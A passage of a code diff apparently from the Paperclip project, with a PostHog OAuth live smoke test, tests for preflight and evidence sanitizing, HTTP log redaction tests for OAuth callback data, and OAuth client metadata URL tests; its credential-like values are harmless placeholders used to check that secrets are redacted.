return response.request().method() === "POST"
|
||||
&& target.pathname === `/api/companies/${companyId}/tools/apps/connect`;
|
||||
});
|
||||
await page.getByRole("button", { name: "Continue to sign in" }).click();
|
||||
const connectResponse = await connectResponsePromise;
|
||||
if (!connectResponse.ok()) fail("B.oauth-start", `http_${connectResponse.status()}`);
|
||||
let connectResult;
|
||||
try {
|
||||
connectResult = await connectResponse.json();
|
||||
} catch {
|
||||
fail("B.oauth-start", "invalid_json");
|
||||
}
|
||||
connectionId = connectResult.connectionId;
|
||||
if (typeof connectionId !== "string" || !connectionId) fail("B.oauth-start", "connection_id_missing");
|
||||
|
||||
await completePosthogAuthorization(page, config);
|
||||
const cleanSetupPath = `/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/setup`;
|
||||
await page.goto(new URL(cleanSetupPath, config.baseUrl).toString(), { waitUntil: "domcontentloaded" });
|
||||
await expectVisible(page.getByText("PostHog connected", { exact: true }), "B.oauth-callback", "connected_state_missing", 45_000);
|
||||
|
||||
let connection = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/tool-connections/${connectionId}`,
|
||||
undefined,
|
||||
"C.connection-detail",
|
||||
);
|
||||
safeConnectionConfig(connection, config.projectId);
|
||||
assertNoCredentialMaterial(connection, [config.password], "C.connection-detail");
|
||||
summary.connection = {
|
||||
id: connectionId,
|
||||
name: connectionName,
|
||||
authentication: "oauth",
|
||||
projectId: config.projectId,
|
||||
status: connection.status,
|
||||
healthStatus: connection.healthStatus,
|
||||
};
|
||||
const connectedShot = "01-connected-setup.png";
|
||||
await safeScreenshot(page, screenshotFile(outputDirectory, connectedShot), config, "F.connected-screenshot");
|
||||
summary.screenshots.push(connectedShot);
|
||||
|
||||
let catalogResponse = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/tool-connections/${connectionId}/catalog`,
|
||||
undefined,
|
||||
"C.catalog-policy",
|
||||
);
|
||||
let catalog = asArray(catalogResponse, "catalog");
|
||||
let facts = catalogFacts(catalog, "C.catalog-policy");
|
||||
await finishAgentOnlySetup(context.request, config, companyId, connectionId, catalog, agent.id);
|
||||
|
||||
const health = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"POST",
|
||||
`/api/tool-connections/${connectionId}/health-check`,
|
||||
{},
|
||||
"C.health-check",
|
||||
);
|
||||
if (health.connection?.healthStatus !== "healthy") fail("C.health-check", "connection_not_healthy");
|
||||
const refreshed = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"POST",
|
||||
`/api/tool-connections/${connectionId}/catalog/refresh`,
|
||||
{},
|
||||
"C.catalog-refresh",
|
||||
);
|
||||
catalog = asArray(refreshed, "catalog");
|
||||
facts = catalogFacts(catalog, "C.catalog-refresh");
|
||||
await finishAgentOnlySetup(context.request, config, companyId, connectionId, catalog, agent.id);
|
||||
|
||||
connection = await apiJson(context.request, config.baseUrl, "GET", `/api/tool-connections/${connectionId}`, undefined, "C.connection-detail");
|
||||
safeConnectionConfig(connection, config.projectId);
|
||||
if (connection.status !== "active" || connection.healthStatus !== "healthy") {
|
||||
fail("C.connection-detail", "connection_not_active_and_healthy");
|
||||
}
|
||||
assertNoCredentialMaterial(connection, [config.password], "C.connection-detail");
|
||||
summary.connection.status = connection.status;
|
||||
summary.connection.healthStatus = connection.healthStatus;
|
||||
|
||||
const uniqueConnections = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/companies/${companyId}/tools/connections`,
|
||||
undefined,
|
||||
"C.connection-detail",
|
||||
);
|
||||
if (asArray(uniqueConnections, "connections").filter((candidate) => candidate.name === connectionName).length !== 1) {
|
||||
fail("C.connection-detail", "duplicate_connection_detected");
|
||||
}
|
||||
|
||||
const installs = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/tool-connections/${connectionId}/installs`,
|
||||
undefined,
|
||||
"C.agent-install",
|
||||
);
|
||||
const installRows = asArray(installs, "installs");
|
||||
if (installRows.length !== 1 || installRows[0].targetType !== "agent" || installRows[0].targetId !== agent.id) {
|
||||
fail("C.agent-install", "install_not_agent_only");
|
||||
}
|
||||
|
||||
const testAgents = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/tool-connections/${connectionId}/test-agents`,
|
||||
undefined,
|
||||
"C.effective-policy",
|
||||
);
|
||||
const testAgent = asArray(testAgents, "agents").find((candidate) => candidate.id === agent.id);
|
||||
const projectGetAccess = testAgent?.effectiveAccess?.tools?.find((tool) => tool.toolName === PROJECT_GET);
|
||||
const projectSettingsAccess = testAgent?.effectiveAccess?.tools?.find((tool) => tool.toolName === PROJECT_SETTINGS_UPDATE);
|
||||
if (projectGetAccess?.decision !== "allowed" || projectSettingsAccess?.decision !== "off") {
|
||||
fail("C.effective-policy", "unexpected_effective_decision");
|
||||
}
|
||||
summary.catalog = {
|
||||
discoveredCount: refreshed.discoveredCount,
|
||||
projectGet: { catalogEntryId: facts.projectGet.id, toolName: PROJECT_GET, decision: "allowed" },
|
||||
projectSettingsUpdate: { catalogEntryId: facts.projectSettings.id, toolName: PROJECT_SETTINGS_UPDATE, decision: "off" },
|
||||
excludedToolsAbsent: [...EXCLUDED_PROJECT_SWITCHERS],
|
||||
accessAgentId: agent.id,
|
||||
installAgentId: agent.id,
|
||||
healthCheck: "healthy",
|
||||
catalogRefresh: "succeeded",
|
||||
};
|
||||
|
||||
await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/permissions`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" });
|
||||
await expectVisible(page.getByText("Who can use it", { exact: true }), "C.permissions-ui", "permissions_panel_missing");
|
||||
const projectGetPermission = page.locator(`[data-action-id="${facts.projectGet.id}"] select`);
|
||||
const projectSettingsPermission = page.locator(`[data-action-id="${facts.projectSettings.id}"] select`);
|
||||
await expectVisible(projectGetPermission, "C.permissions-ui", "project_get_permission_missing");
|
||||
await expectVisible(projectSettingsPermission, "C.permissions-ui", "project_settings_permission_missing");
|
||||
if (await projectGetPermission.inputValue() !== "allowed" || await projectSettingsPermission.inputValue() !== "off") {
|
||||
fail("C.permissions-ui", "permissions_ui_mismatch");
|
||||
}
|
||||
const permissionsShot = "02-scoped-permissions.png";
|
||||
await safeScreenshot(page, screenshotFile(outputDirectory, permissionsShot), config, "F.permissions-screenshot");
|
||||
summary.screenshots.push(permissionsShot);
|
||||
|
||||
await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/test`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" });
|
||||
await expectVisible(page.getByLabel("Choose which agent to test as"), "D.test-panel", "agent_picker_missing");
|
||||
await page.getByLabel("Choose which agent to test as").click();
|
||||
await page.getByLabel("Search agents").fill(TARGET_AGENT_NAME);
|
||||
await page.getByRole("button", { name: new RegExp(`^${escapeRegex(TARGET_AGENT_NAME)}`) }).click();
|
||||
await page.getByLabel("Find an action").fill(PROJECT_GET);
|
||||
const projectGetTitle = facts.projectGet.title ?? facts.projectGet.toolName;
|
||||
const actionRow = page.locator("button").filter({ hasText: projectGetTitle }).filter({ hasText: "Allowed" }).first();
|
||||
await expectVisible(actionRow, "D.test-panel", "project_get_allowed_row_missing");
|
||||
await actionRow.click();
|
||||
await expectVisible(page.getByText("This action takes no inputs."), "D.test-panel", "empty_input_form_missing");
|
||||
|
||||
const boardTestStartedAt = Date.now();
|
||||
const testCallResponsePromise = page.waitForResponse((response) =>
|
||||
response.request().method() === "POST"
|
||||
&& new URL(response.url()).pathname === `/api/tool-connections/${connectionId}/test-calls`,
|
||||
);
|
||||
await page.getByRole("button", { name: /^run$/i }).click();
|
||||
const testCallResponse = await testCallResponsePromise;
|
||||
if (!testCallResponse.ok()) fail("D.project-get", `http_${testCallResponse.status()}`);
|
||||
let testCall;
|
||||
try {
|
||||
testCall = await testCallResponse.json();
|
||||
} catch {
|
||||
fail("D.project-get", "invalid_json");
|
||||
}
|
||||
let testCallInput;
|
||||
try {
|
||||
testCallInput = testCallResponse.request().postDataJSON();
|
||||
} catch {
|
||||
fail("D.project-get", "request_body_unavailable");
|
||||
}
|
||||
if (testCallInput?.agentId !== agent.id
|
||||
|| testCallInput?.toolName !== PROJECT_GET
|
||||
|| !testCallInput.parameters
|
||||
|| typeof testCallInput.parameters !== "object"
|
||||
|| Array.isArray(testCallInput.parameters)
|
||||
|| Object.keys(testCallInput.parameters).length !== 0) {
|
||||
fail("D.project-get", "nonempty_or_unexpected_input");
|
||||
}
|
||||
if (testCall.decision !== "allowed" || testCall.error || typeof testCall.invocationId !== "string") {
|
||||
fail("D.project-get", "gateway_call_not_allowed");
|
||||
}
|
||||
const boardProject = extractProjectSummary(testCall.result, config.projectId);
|
||||
if (!boardProject?.name) fail("D.project-get", "project_result_missing");
|
||||
await expectVisible(page.getByText(/^Worked\./), "D.project-get", "success_result_missing");
|
||||
const boardShot = "03-board-project-get.png";
|
||||
await safeScreenshot(page, screenshotFile(outputDirectory, boardShot), config, "F.board-test-screenshot");
|
||||
summary.screenshots.push(boardShot);
|
||||
summary.boardTest = {
|
||||
catalogEntryId: facts.projectGet.id,
|
||||
toolName: PROJECT_GET,
|
||||
invocationId: testCall.invocationId,
|
||||
decision: testCall.decision,
|
||||
httpStatus: testCallResponse.status(),
|
||||
resultStatus: "succeeded",
|
||||
project: boardProject,
|
||||
durationMs: Date.now() - boardTestStartedAt,
|
||||
};
|
||||
|
||||
const parentIssueId = process.env.POSTHOG_PROOF_PARENT_ISSUE_ID || process.env.PAPERCLIP_TASK_ID;
|
||||
if (!parentIssueId) fail("E.create-proof-issue", "parent_issue_id_missing");
|
||||
const child = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"POST",
|
||||
`/api/issues/${parentIssueId}/children`,
|
||||
{
|
||||
title: `PostHog installed-tool proof ${startedAt.toISOString()}`,
|
||||
description: [
|
||||
"Invoke exactly one installed PostHog action: the read-only upstream `project-get` tool, with an empty `{}` input.",
|
||||
`Verify the returned project ID is exactly ${config.projectId} and make no PostHog mutations.`,
|
||||
"Then post exactly one JSON object with keys `projectId`, `projectName`, and `invocationId` (the Paperclip invocation ID), and mark this issue done.",
|
||||
"Do not report tokens, cookies, authorization data, request headers, raw tool payloads, or any other fields.",
|
||||
].join("\n\n"),
|
||||
status: "todo",
|
||||
workMode: "standard",
|
||||
priority: "medium",
|
||||
assigneeAgentId: agent.id,
|
||||
acceptanceCriteria: [
|
||||
`The installed PostHog project-get action returns project ${config.projectId}.`,
|
||||
"The comment contains only sanitized project ID/name and Paperclip invocation ID.",
|
||||
"No mutation is attempted.",
|
||||
],
|
||||
},
|
||||
"E.create-proof-issue",
|
||||
[201],
|
||||
);
|
||||
if (child.status !== "todo") fail("E.create-proof-issue", "child_not_created_todo");
|
||||
const observedStatuses = new Set(["todo"]);
|
||||
const finishedChild = await waitFor("E.fresh-agent-run", async () => {
|
||||
const issue = await apiJson(context.request, config.baseUrl, "GET", `/api/issues/${child.id}`, undefined, "E.fresh-agent-run");
|
||||
observedStatuses.add(issue.status);
|
||||
if (["blocked", "cancelled"].includes(issue.status)) fail("E.fresh-agent-run", `child_${issue.status}`);
|
||||
return issue.status === "done" ? issue : null;
|
||||
}, {
|
||||
timeoutMs: Number(process.env.POSTHOG_AGENT_TIMEOUT_MS || DEFAULT_AGENT_TIMEOUT_MS),
|
||||
intervalMs: 3_000,
|
||||
});
|
||||
if (!finishedChild.startedAt || !finishedChild.completedAt) fail("E.fresh-agent-run", "transition_timestamps_missing");
|
||||
|
||||
const commentsResponse = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/issues/${child.id}/comments`,
|
||||
undefined,
|
||||
"E.agent-proof-comment",
|
||||
);
|
||||
const comments = asArray(commentsResponse, "comments");
|
||||
for (const comment of comments) assertNoCredentialMaterial(comment.body, [config.password], "E.agent-proof-comment");
|
||||
const agentComments = comments.filter((comment) =>
|
||||
comment.authorAgentId === agent.id || comment.derivedAuthorAgentId === agent.id,
|
||||
);
|
||||
const proofs = agentComments.map((comment) => parseSanitizedAgentProof(comment.body, config.projectId)).filter(Boolean);
|
||||
if (agentComments.length !== 1 || proofs.length !== 1) {
|
||||
fail("E.agent-proof-comment", "single_sanitized_proof_missing");
|
||||
}
|
||||
const [proof] = proofs;
|
||||
|
||||
let finalConnectionActivity;
|
||||
const agentEvent = await waitFor("E.agent-audit", async () => {
|
||||
const activity = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/tool-connections/${connectionId}/activity?limit=100`,
|
||||
undefined,
|
||||
"E.agent-audit",
|
||||
);
|
||||
assertNoCredentialMaterial(activity, [config.password], "E.agent-audit");
|
||||
finalConnectionActivity = activity;
|
||||
return asArray(activity, "events").find((event) =>
|
||||
event.issueId === child.id
|
||||
&& event.agentId === agent.id
|
||||
&& event.toolName === PROJECT_GET
|
||||
&& event.invocationId === proof.invocationId
|
||||
&& event.outcome === "success",
|
||||
) ?? null;
|
||||
}, { timeoutMs: 60_000, intervalMs: 2_000 });
|
||||
if (!agentEvent.runId) fail("E.agent-audit", "run_id_missing");
|
||||
if (agentEvent.requestSummary?.summary !== "{}") fail("E.agent-audit", "project_get_input_not_empty");
|
||||
const childToolEvents = asArray(finalConnectionActivity, "events").filter((event) => event.issueId === child.id && event.invocationId);
|
||||
if (childToolEvents.length === 0 || childToolEvents.some((event) => event.toolName !== PROJECT_GET)) {
|
||||
fail("E.agent-audit", "unexpected_upstream_action");
|
||||
}
|
||||
if (new Set(childToolEvents.map((event) => event.invocationId)).size !== 1) {
|
||||
fail("E.agent-audit", "project_get_invoked_more_than_once");
|
||||
}
|
||||
if (proof.projectName !== boardProject.name) fail("E.agent-proof-comment", "project_name_mismatch");
|
||||
|
||||
const agentRun = await waitFor("E.agent-run-status", async () => {
|
||||
const run = await apiJson(
|
||||
context.request,
|
||||
config.baseUrl,
|
||||
"GET",
|
||||
`/api/heartbeat-runs/${agentEvent.runId}`,
|
||||
undefined,
|
||||
"E.agent-run-status",
|
||||
);
|
||||
if (["failed", "cancelled", "timed_out"].includes(run.status)) fail("E.agent-run-status", `run_${run.status}`);
|
||||
return run.status === "succeeded" ? run : null;
|
||||
}, { timeoutMs: 60_000, intervalMs: 2_000 });
|
||||
|
||||
summary.freshRun = {
|
||||
issueId: child.id,
|
||||
issueIdentifier: child.identifier,
|
||||
transition: {
|
||||
created: "todo",
|
||||
enteredInProgress: observedStatuses.has("in_progress") || Boolean(finishedChild.startedAt),
|
||||
completed: "done",
|
||||
},
|
||||
runId: agentEvent.runId,
|
||||
runStatus: agentRun.status,
|
||||
invocationId: proof.invocationId,
|
||||
project: { id: proof.projectId, name: proof.projectName },
|
||||
auditOutcome: agentEvent.outcome,
|
||||
durationMs: agentEvent.latencyMs,
|
||||
};
|
||||
|
||||
await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/issues/${child.identifier}`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" });
|
||||
await expectVisible(page.getByText(child.title, { exact: true }).first(), "F.child-screenshot", "child_issue_missing");
|
||||
const childShot = "04-fresh-agent-proof.png";
|
||||
await safeScreenshot(page, screenshotFile(outputDirectory, childShot), config, "F.child-screenshot");
|
||||
summary.screenshots.push(childShot);
|
||||
|
||||
await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/activity`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" });
|
||||
await expectVisible(page.getByText(PROJECT_GET, { exact: false }).first(), "F.activity-screenshot", "project_get_activity_missing");
|
||||
const activityShot = "05-redacted-activity.png";
|
||||
await safeScreenshot(page, screenshotFile(outputDirectory, activityShot), config, "F.activity-screenshot");
|
||||
summary.screenshots.push(activityShot);
|
||||
|
||||
summary.cleanup = await cleanupConnection(context.request, config, companyId, connectionId, connectionName);
|
||||
cleanupComplete = true;
|
||||
summary.passed = true;
|
||||
} catch (error) {
|
||||
caughtFailure = error instanceof SmokeFailure ? error : new SmokeFailure("unexpected", "unexpected_error");
|
||||
} finally {
|
||||
if (connectionId && companyId && context && !cleanupComplete) {
|
||||
try {
|
||||
summary.cleanup = await cleanupConnection(context.request, config, companyId, connectionId, connectionName);
|
||||
cleanupComplete = true;
|
||||
} catch {
|
||||
summary.cleanup = { completed: false, code: "cleanup_failed" };
|
||||
if (!caughtFailure) caughtFailure = new SmokeFailure("F.cleanup", "cleanup_failed");
|
||||
}
|
||||
}
|
||||
await context?.close().catch(() => {});
|
||||
await browser?.close().catch(() => {});
|
||||
}
|
||||
|
||||
summary.completedAt = new Date().toISOString();
|
||||
if (caughtFailure) {
|
||||
summary.failure = { checkpoint: caughtFailure.checkpoint, code: caughtFailure.code };
|
||||
}
|
||||
assertSanitizedEvidence(summary);
|
||||
const summaryPath = path.join(outputDirectory, "summary.json");
|
||||
await writeFile(summaryPath, `${JSON.stringify(summary, null, 2)}\n`, { mode: 0o600 });
|
||||
|
||||
if (caughtFailure) throw caughtFailure;
|
||||
return { outputDirectory, summaryPath, screenshots: summary.screenshots };
|
||||
}
|
||||
|
||||
async function main() {
|
||||
let prepared;
|
||||
try {
|
||||
const options = parsePosthogLiveArguments(process.argv.slice(2));
|
||||
prepared = await preparePosthogLiveSmoke({
|
||||
baseUrl: options.baseUrl,
|
||||
loadBrowser: () => import("@playwright/test"),
|
||||
});
|
||||
} catch (error) {
|
||||
process.stderr.write(`${preflightFailureMessage(error)}\n`);
|
||||
process.exitCode = error instanceof PosthogLivePreflightError ? 2 : 1;
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const result = await runSmoke({ config: prepared.config, chromium: prepared.browserModule.chromium });
|
||||
process.stdout.write(`PostHog live smoke passed. Sanitized evidence: ${result.outputDirectory}\n`);
|
||||
} catch (error) {
|
||||
const failure = error instanceof SmokeFailure ? error : new SmokeFailure("unexpected", "unexpected_error");
|
||||
process.stderr.write(`PostHog live smoke failed at ${failure.checkpoint} (${failure.code}).\n`);
|
||||
process.exitCode = 1;
|
||||
}
|
||||
}
|
||||
|
||||
await main();
|
||||
|
|
@ -0,0 +1,161 @@
|
|||
import assert from "node:assert/strict";
|
||||
import test from "node:test";
|
||||
import {
|
||||
assertSanitizedEvidence,
|
||||
extractProjectSummary,
|
||||
parsePosthogLiveArguments,
|
||||
parseSanitizedAgentProof,
|
||||
PosthogLivePreflightError,
|
||||
preflightPosthogLive,
|
||||
preparePosthogLiveSmoke,
|
||||
} from "./posthog-live-lib.mjs";
|
||||
|
||||
const COMPLETE_ENV = {
|
||||
PAPERCLIP_API_URL: "https://paperclip.example.test/api",
|
||||
INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL: "operator@example.test",
|
||||
INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD: "not-a-real-password",
|
||||
INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID: "483530",
|
||||
};
|
||||
|
||||
test("preflight reports only missing binding names", () => {
|
||||
assert.throws(
|
||||
() => preflightPosthogLive({
|
||||
PAPERCLIP_API_URL: "https://paperclip.example.test/api",
|
||||
INTEGRATIONS_POSTHOG_PAPERCLIP_DEV_LOGIN_PASSWORD: "present",
|
||||
}),
|
||||
(error) => {
|
||||
assert.ok(error instanceof PosthogLivePreflightError);
|
||||
assert.equal(error.code, "missing_environment");
|
||||
assert.deepEqual(error.details.missing, [
|
||||
"INTEGRATIONS_POSTHOG_PAPERCLIP_E2E_EMAIL",
|
||||
"INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID",
|
||||
]);
|
||||
assert.doesNotMatch(error.message, /present/);
|
||||
return true;
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
test("preflight rejects credential-bearing and non-HTTPS remote URLs", () => {
|
||||
for (const baseUrl of [
|
||||
"https://user:secret@example.test",
|
||||
"https://example.test/?code=secret",
|
||||
"http://example.test",
|
||||
]) {
|
||||
assert.throws(
|
||||
() => preflightPosthogLive({ ...COMPLETE_ENV, PAPERCLIP_API_URL: baseUrl }),
|
||||
(error) => error instanceof PosthogLivePreflightError && error.code === "unsafe_base_url",
|
||||
);
|
||||
}
|
||||
assert.equal(
|
||||
preflightPosthogLive(COMPLETE_ENV, { baseUrl: "http://127.0.0.1:3100" }).baseUrl,
|
||||
"http://127.0.0.1:3100",
|
||||
);
|
||||
});
|
||||
|
||||
test("preflight derives the current Paperclip origin and accepts an explicit target", () => {
|
||||
assert.equal(preflightPosthogLive(COMPLETE_ENV).baseUrl, "https://paperclip.example.test");
|
||||
assert.equal(
|
||||
preflightPosthogLive(COMPLETE_ENV, { baseUrl: "https://other-paperclip.example.test" }).baseUrl,
|
||||
"https://other-paperclip.example.test",
|
||||
);
|
||||
assert.throws(
|
||||
() => preflightPosthogLive({ ...COMPLETE_ENV, PAPERCLIP_API_URL: "" }),
|
||||
(error) => error instanceof PosthogLivePreflightError && error.code === "missing_base_url",
|
||||
);
|
||||
});
|
||||
|
||||
test("preflight fails closed unless the PostHog project is exactly 483530", () => {
|
||||
assert.throws(
|
||||
() => preflightPosthogLive({
|
||||
...COMPLETE_ENV,
|
||||
INTEGRATIONS_POSTHOG_POSTHOG_PROJECT_ID: "42",
|
||||
}),
|
||||
(error) => error instanceof PosthogLivePreflightError && error.code === "unexpected_project_id",
|
||||
);
|
||||
});
|
||||
|
||||
test("live smoke arguments accept a target URL without another environment binding", () => {
|
||||
assert.deepEqual(parsePosthogLiveArguments([]), {});
|
||||
assert.deepEqual(
|
||||
parsePosthogLiveArguments(["https://paperclip.example.test"]),
|
||||
{ baseUrl: "https://paperclip.example.test" },
|
||||
);
|
||||
assert.deepEqual(
|
||||
parsePosthogLiveArguments(["--base-url", "https://paperclip.example.test"]),
|
||||
{ baseUrl: "https://paperclip.example.test" },
|
||||
);
|
||||
assert.throws(
|
||||
() => parsePosthogLiveArguments(["--unknown"]),
|
||||
(error) => error instanceof PosthogLivePreflightError && error.code === "invalid_arguments",
|
||||
);
|
||||
});
|
||||
|
||||
test("browser loading happens only after binding and health preflight", async () => {
|
||||
let fetchCalled = false;
|
||||
let browserLoaded = false;
|
||||
await assert.rejects(
|
||||
preparePosthogLiveSmoke({
|
||||
environment: {},
|
||||
fetchImpl: async () => {
|
||||
fetchCalled = true;
|
||||
},
|
||||
loadBrowser: async () => {
|
||||
browserLoaded = true;
|
||||
},
|
||||
}),
|
||||
(error) => error instanceof PosthogLivePreflightError && error.code === "missing_environment",
|
||||
);
|
||||
assert.equal(fetchCalled, false);
|
||||
assert.equal(browserLoaded, false);
|
||||
|
||||
await assert.rejects(
|
||||
preparePosthogLiveSmoke({
|
||||
environment: COMPLETE_ENV,
|
||||
fetchImpl: async () => ({ ok: false, status: 503 }),
|
||||
loadBrowser: async () => {
|
||||
browserLoaded = true;
|
||||
},
|
||||
}),
|
||||
(error) => error instanceof PosthogLivePreflightError && error.code === "health_http_error",
|
||||
);
|
||||
assert.equal(browserLoaded, false);
|
||||
});
|
||||
|
||||
test("project proof extraction retains only the expected id and name", () => {
|
||||
const result = {
|
||||
data: {
|
||||
content: [{ type: "text", text: JSON.stringify({ id: 483530, name: "Paperclip", token: "discard-me" }) }],
|
||||
},
|
||||
};
|
||||
assert.deepEqual(extractProjectSummary(result, "483530"), { id: "483530", name: "Paperclip" });
|
||||
assert.equal(extractProjectSummary(result, "42"), null);
|
||||
|
||||
assert.deepEqual(
|
||||
parseSanitizedAgentProof(
|
||||
'{"projectId":"483530","projectName":"Paperclip","invocationId":"inv-123"}',
|
||||
"483530",
|
||||
),
|
||||
{ projectId: "483530", projectName: "Paperclip", invocationId: "inv-123" },
|
||||
);
|
||||
assert.equal(
|
||||
parseSanitizedAgentProof(
|
||||
'Done: {"projectId":"483530","projectName":"Paperclip","invocationId":"inv-123"}',
|
||||
"483530",
|
||||
),
|
||||
null,
|
||||
);
|
||||
assert.equal(
|
||||
parseSanitizedAgentProof(
|
||||
'{"projectId":"483530","projectName":"Paperclip","invocationId":"inv-123","token":"unsafe"}',
|
||||
"483530",
|
||||
),
|
||||
null,
|
||||
);
|
||||
});
|
||||
|
||||
test("sanitized evidence rejects credential fields and OAuth query values", () => {
|
||||
assert.doesNotThrow(() => assertSanitizedEvidence({ projectId: "483530", invocationId: "inv-123" }));
|
||||
assert.throws(() => assertSanitizedEvidence({ accessToken: "secret" }), /unsafe_evidence_key/);
|
||||
assert.throws(() => assertSanitizedEvidence({ note: "callback?code=secret" }), /unsafe_evidence_text/);
|
||||
});
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -1,9 +1,12 @@
|
|||
import { createServer, request } from "node:http";
|
||||
import { createServer, request as httpRequest } from "node:http";
|
||||
import { Writable } from "node:stream";
|
||||
import express from "express";
|
||||
import pino from "pino";
|
||||
import { pinoHttp } from "pino-http";
|
||||
import request from "supertest";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { HTTP_LOG_REDACT_PATHS } from "../middleware/http-log-redaction.js";
|
||||
import { createHttpLogger } from "../middleware/logger.js";
|
||||
|
||||
describe("HTTP logger redaction", () => {
|
||||
it("defines the HTTP auth and cookie header paths that must be redacted", () => {
|
||||
|
|
@ -44,7 +47,7 @@ describe("HTTP logger redaction", () => {
|
|||
}
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const client = request(
|
||||
const client = httpRequest(
|
||||
{
|
||||
hostname: "127.0.0.1",
|
||||
port: address.port,
|
||||
|
|
@ -83,4 +86,45 @@ describe("HTTP logger redaction", () => {
|
|||
expect(log.req.headers["set-cookie"]).toBe("[Redacted]");
|
||||
expect(log.res.headers["set-cookie"]).toBe("[Redacted]");
|
||||
});
|
||||
|
||||
it("drops OAuth callback query data from the message and structured request", async () => {
|
||||
const chunks: string[] = [];
|
||||
const stream = new Writable({
|
||||
write(chunk, _encoding, callback) {
|
||||
chunks.push(chunk.toString());
|
||||
callback();
|
||||
},
|
||||
});
|
||||
const testLogger = pino({ redact: [...HTTP_LOG_REDACT_PATHS] }, stream);
|
||||
const app = express();
|
||||
app.use(createHttpLogger(testLogger));
|
||||
app.get("/api/tools/oauth/callback", (_req, res) => {
|
||||
res.status(400).json({ error: "callback rejected" });
|
||||
});
|
||||
|
||||
const authorizationCode = "oauth-code-canary-61a88f";
|
||||
const providerProse = "provider-prose-canary-2087e2";
|
||||
const providerUriCanary = "provider-uri-canary-d91ac4";
|
||||
const response = await request(app)
|
||||
.get("/api/tools/oauth/callback")
|
||||
.query({
|
||||
code: authorizationCode,
|
||||
error_description: providerProse,
|
||||
error_uri: `https://provider.example/error?detail=${providerUriCanary}`,
|
||||
});
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
const output = chunks.join("");
|
||||
expect(output).not.toMatch(new RegExp(`${authorizationCode}|${providerProse}|${providerUriCanary}`));
|
||||
|
||||
const log = JSON.parse(output.trim()) as {
|
||||
msg: string;
|
||||
req: { method: string; url: string; query?: unknown };
|
||||
reqQuery?: unknown;
|
||||
};
|
||||
expect(log.msg).toBe("GET /api/tools/oauth/callback 400");
|
||||
expect(log.req).toMatchObject({ method: "GET", url: "/api/tools/oauth/callback" });
|
||||
expect(log.req.query).toBeUndefined();
|
||||
expect(log.reqQuery).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -0,0 +1,31 @@
|
|||
import { describe, expect, it } from "vitest";
|
||||
|
||||
import {
|
||||
OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH,
|
||||
resolveOAuthClientIdMetadataDocumentUrl,
|
||||
} from "../services/tool-access.js";
|
||||
|
||||
describe("OAuth Client ID Metadata Document selection", () => {
|
||||
it("uses a publicly resolved HTTPS callback origin", async () => {
|
||||
const redirectUri = "https://paperclip.example:42001/api/tools/oauth/callback";
|
||||
|
||||
await expect(resolveOAuthClientIdMetadataDocumentUrl(
|
||||
redirectUri,
|
||||
async () => [{ address: "93.184.216.34", family: 4 }],
|
||||
)).resolves.toBe(`https://paperclip.example:42001${OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH}`);
|
||||
});
|
||||
|
||||
it("rejects a Tailscale-range hostname so OAuth can fall back to DCR", async () => {
|
||||
await expect(resolveOAuthClientIdMetadataDocumentUrl(
|
||||
"https://paperclip.tailnet.example:42001/api/tools/oauth/callback",
|
||||
async () => [{ address: "100.100.100.100", family: 4 }],
|
||||
)).resolves.toBeNull();
|
||||
});
|
||||
|
||||
it.each([
|
||||
"http://localhost:3100/api/tools/oauth/callback",
|
||||
"https://127.0.0.1:3100/api/tools/oauth/callback",
|
||||
])("rejects a non-public callback origin %s", async (redirectUri) => {
|
||||
await expect(resolveOAuthClientIdMetadataDocumentUrl(redirectUri)).resolves.toBeNull();
|
||||
});
|
||||
});
|
||||
|
|
@ -1246,20 +1246,20 @@ describe("plugin worker manager setup-token pty route gate", () => {
|
|||
try {
|
||||
await handle.start();
|
||||
const session = await handle.openLoginPtySession(
|
||||
ptyOpenInput({
|
||||
outputs: [
|
||||
{ chunk: "aaaaa" }, // total 5 → delivered
|
||||
{ chunk: "bbbbb" }, // total 10 → delivered
|
||||
{ chunk: "ccccc" }, // total 15 > 10 → terminalize
|
||||
],
|
||||
}),
|
||||
ptyOpenInput({ mode: "normal" }),
|
||||
);
|
||||
const chunks: string[] = [];
|
||||
session.onData((chunk) => chunks.push(chunk));
|
||||
// Each empty input produces the five-character `echo:` chunk. Attach the
|
||||
// listener first, then drive exactly two accepted chunks and one overflow
|
||||
// so process scheduling cannot move output ahead of listener registration.
|
||||
session.write("");
|
||||
session.write("");
|
||||
session.write("");
|
||||
